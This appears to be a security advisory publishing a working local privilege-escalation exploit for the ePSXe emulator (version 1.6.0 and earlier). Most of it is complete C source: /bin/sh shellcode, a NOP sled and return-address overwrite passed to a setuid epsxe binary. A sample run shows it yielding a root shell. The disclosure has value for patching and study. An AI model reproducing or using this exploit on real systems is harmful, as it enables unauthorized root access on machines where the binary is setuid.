[EXPL] ePSXe Local Stack Overflow (Exploit)

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  ePSXe Local Stack Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://www.epsxe.com/ > ePSXe is "a PSX(Sony PlayStation) emulator for 
Linux". The following exploit code will use a locally exploitable stack 
overflow in ePSXe to gain root privileges on systems that have the setuid 
bit set on the ePSXe program.

DETAILS

Vulnerable Systems:
 * ePSXe emulator version 1.6.0 and prior

Exploit:
/* epsxe-e.c
           ePSXe v1.* local exploit
By: Qnix
e-mail: q-nix[at]hotmail[dot]com
ePSXe-website: www.epsxe.com

EXP-Sample:

root@Qnix:~/epsxe# gcc -o epsxe-e epsxe-e.c
root@Qnix:~/epsxe# ./epsxe-e

*************************************
      ePSXe v1.* local exploit
                 by
   Qnix  | Q-nix[at]hotmail[dot]com
*************************************

[~] Stack pointer (ESP) : 0xbffff568
[~] Offset from ESP     : 0x0
[~] Desired Return Addr : 0xbffff568

* Running ePSXe emulator version 1.6.0.
* Memory handlers init.
sh-2.05b# id
uid=0(root) gid=0(root)
groups=0(root), 1(bin), 2(daemon), 3(sys), 4(adm), 6(disk), 10(wheel), 
11(floppy)
*/


#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
   int i, offset;
   long esp, ret, *addr_ptr;
   char *buffer, *ptr;

   offset = 0;
   esp = sp();
   ret = esp - offset;

printf("\n ************************************* \n");
printf("      ePSXe v1.* local exploit          \n");
printf("                 by                  \n");
printf("   Qnix  | Q-nix[at]hotmail[dot]com   ");
printf("\n ************************************* \n\n");
printf("[~] Stack pointer (ESP) : 0x%x\n", esp);
printf("[~] Offset from ESP     : 0x%x\n", offset);
printf("[~] Desired Return Addr : 0x%x\n\n", ret);

buffer = malloc(600);

ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }

for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }

ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

buffer[600-1] = 0;

execl("./epsxe", "epsxe", "-nogui", buffer, 0);

free(buffer);

   return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:q-nix[at]hotmail[dot]com> 
Qnix.



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